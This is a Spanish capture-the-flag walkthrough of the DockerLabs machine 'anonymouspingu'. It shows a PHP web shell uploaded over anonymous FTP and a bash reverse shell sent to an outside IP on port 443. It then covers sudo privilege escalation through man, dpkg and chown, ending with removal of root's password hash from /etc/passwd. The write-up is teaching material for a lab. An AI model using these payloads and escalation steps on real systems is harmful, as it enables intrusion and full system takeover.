

Desplegamos la máquina.

```
> sudo bash auto_deploy.sh anonymouspingu.tar
[sudo] contraseña para kali:

      ##
    ## ## ##
  ## ## ## ##
  |||||
NNN {NN NNNN NNN NNNN NN N} |||||
    \_____/
      \_____/

DOCKERLABS

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Le hacemos un ping para comprobar la conectividad y además con el ttl de 64 sabemos que estamos ante una máquina Linux.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.061 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.061/0.061/0.061/0.000 ms
```

Con nmap vemos los puertos que están abiertos y sus servicios.

```

PORT          STATE SERVICE VERSION
21/tcp open  ftp      vsftpd 3.0.5

ftp-anon: Anonymous FTP login allowed (FTP code 230)
-rw-r--r--    1 0      0      7816 Nov 25 2019 about.html
-rw-r--r--    1 0      0      8102 Nov 25 2019 contact.html
drwxr-xr-x    2 0      0      4096 Jan 01 1970 css
drwxr-xr-x    2 0      0      4096 Apr 28 2024 heustonn-html
drwxr-xr-x    2 0      0      4096 Oct 23 2019 images
-rw-r--r--    1 0      0      20162 Apr 28 2024 index.html
drwxr-xr-x    2 0      0      4096 Oct 23 2019 js
-rw-r--r--    1 0      0      9808 Nov 25 2019 service.html
drwxrwxrwx    1 33     33     4096 Apr 28 2024 upload [NSE: writeable]

ftp-syst:
STAT:
FTP server status:
  Connected to ::ffff:172.17.0.1
  Logged in as ftp
  TYPE: ASCII
  No session bandwidth limit
  Session timeout in seconds is 300
  Control connection is plain text
  Data connections will be plain text
  At session startup, client count was 3
  vsFTPD 3.0.5 - secure, fast, stable

_End of status

80/tcp open  http      Apache httpd 2.4.58 ((Ubuntu))
http-server-header: Apache/2.4.58 (Ubuntu)
http-title: Mantenimiento

```

Cuando nos conectamos como Anonymous por ftp parece ser que estamos en la raíz de la web, por lo que intentaremos subir un archivo malicioso para ejecutar comandos y que lea php.

```
> ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPD 3.0.5)
Name (172.17.0.2:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||44733|)
150 Here comes the directory listing.
drwxr-xr-x 1 0 0 4096 Apr 28 2024 .
drwxr-xr-x 1 0 0 4096 Apr 28 2024 ..
-rw-r--r-- 1 0 0 7816 Nov 25 2019 about.html
-rw-r--r-- 1 0 0 8102 Nov 25 2019 contact.html
drwxr-xr-x 2 0 0 4096 Jan 01 1970 css
drwxr-xr-x 2 0 0 4096 Apr 28 2024 heustonn-html
drwxr-xr-x 2 0 0 4096 Oct 23 2019 images
-rw-r--r-- 1 0 0 20162 Apr 28 2024 index.html
drwxr-xr-x 2 0 0 4096 Oct 23 2019 js
-rw-r--r-- 1 0 0 9808 Nov 25 2019 service.html
drwxrwxrwx 1 33 33 4096 Apr 28 2024 upload
```

Nos movemos al directorio donde podemos escribir que es upload y tratamos de subir el archivo malicioso.

```
> cat shell.phar -p
<?php
    system($_GET['cmd']);
?>

ftp> cd upload
250 Directory successfully changed.
ftp> put shell.phar
local: shell.phar remote: shell.phar
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
100% |*****| 34 0.98 MiB/s 00:00 ETA
226 Transfer complete.
34 bytes sent in 00:00 (217.01 KiB/s)
```

Una vez que tenemos el archivo subido nos vamos a la web y ya podremos ejecutar comandos.

```
view-source:http://172.17.0.2/upload/shell.phar?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Además, vemos los usuarios que hay dentro de la máquina.

```
view-source:http://172.17.0.2/upload/shell.phar?cmd=cat /etc/passwd | grep sh
1 root:x:0:0:root:/root:/bin/bash
2 ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
3 pingu:x:1001:1001:/home/pingu:/bin/bash
4 gladys:x:1002:1002:/home/gladys:/bin/bash
```

Nos mandamos el oneliner al puerto que tenemos a la escucha con netcat previamente levantada y ya tenemos una reverse shell.

```
172.17.0.2/upload/shell.phar?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.65/443 0>%261'
```

```
> nc -lvnp 443
listening on [any] 443 ...
connect to [10.0.2.65] from (UNKNOWN) [172.17.0.2] 34322
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@4da2fd1d4377:/var/www/html/upload$ |
```

Podemos ejecutar el binario man como el usuario pingu y sin contraseña por lo que nos iremos a GTFO.

```
www-data@4da2fd1d4377:/$ sudo -l
Matching Defaults entries for www-data on 4da2fd1d4377:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr
n\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on 4da2fd1d4377:
  (pingu) NOPASSWD: /usr/bin/man
```

### Sudo

If the binary is  
may be used to

```
sudo man man
!/bin/sh
```

```
www-data@4da2fd1d4377:/$ sudo -u pingu /usr/bin/man man
```

```
!/bin/bash
pingu@4da2fd1d4377:/$ id
uid=1001(pingu) gid=1001(pingu) groups=1001(pingu)
```

Con el usuario pingu vemos que podemos ejecutar con permisos de Gladys tanto nmap como dkpg.

```
pingu@4da2fd1d4377:~$ sudo -l
Matching Defaults entries for pingu on 4da2fd1d4377:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/
n\:/bin\:/snap/bin, use_pty

User pingu may run the following commands on 4da2fd1d4377:
  (gladys) NOPASSWD: /usr/bin/nmap
  (gladys) NOPASSWD: /usr/bin/dpkg
```

### Sudo

If the binary is all  
may be used to ac

(a) This invokes t

```
sudo dpkg -l
!/bin/sh
```

```
pingu@4da2fd1d4377:~$ sudo -u gladys dpkg -l
```

```
!/bin/bash
gladys@4da2fd1d4377:/home/pingu$ id
uid=1002(gladys) gid=1002(gladys) groups=1002(gladys)
```

Por último, con el usuario Gladys podemos ejecutar como root el binario chwon que sirve para cambiar los permisos de un archivo y en este caso vamos a modificar el passwd.

```
gladys@4da2fd1d4377:~$ sudo -l
Matching Defaults entries for gladys on 4da2fd1d4377:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/
n\:/bin\:/snap/bin, use_pty

User gladys may run the following commands on 4da2fd1d4377:
    (root) NOPASSWD: /usr/bin/chown
```

## Sudo

If the binary is allowed to run as s  
may be used to access the file syst

```
LFILE=file_to_change
sudo chown $(id -un):$(id -gn) $LFILE
```

```
gladys@4da2fd1d4377:~$ LFILE=/etc/passwd
gladys@4da2fd1d4377:~$ sudo chown $(id -un):$(id -gn) $LFILE
gladys@4da2fd1d4377:~$ ls -la /etc/passwd
-rw-r--r-- 1 gladys gladys 1292 Apr 28 2024 /etc/passwd
```

Ahora que somos los propietarios del archivo vamos a modificarlo para quitarle la x a la línea de root y de ese modo poder conectarnos sin necesidad de ingresar contraseña. Ya que no tenemos ni 'nano' ni 'vim' para modificarlo, hemos recurrido a sustituir caracteres con sed. Para ello lo copiamos en tmp el archivo passwd y luego lo sustituimos.

```
gladys@4da2fd1d4377:~$ cp /etc/passwd /tmp/passwd
gladys@4da2fd1d4377:~$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
gladys@4da2fd1d4377:~$ sed -i 's/^root:x:/root:/' /tmp/passwd
gladys@4da2fd1d4377:~$ cat /tmp/passwd
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
gladys@4da2fd1d4377:~$ cp /tmp/passwd /etc/passwd
gladys@4da2fd1d4377:~$ cat /etc/passwd
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

Listo ya somos root.

```
gladys@4da2fd1d4377:~$ su root
root@4da2fd1d4377:/home/gladys# id
uid=0(root) gid=0(root) groups=0(root)
```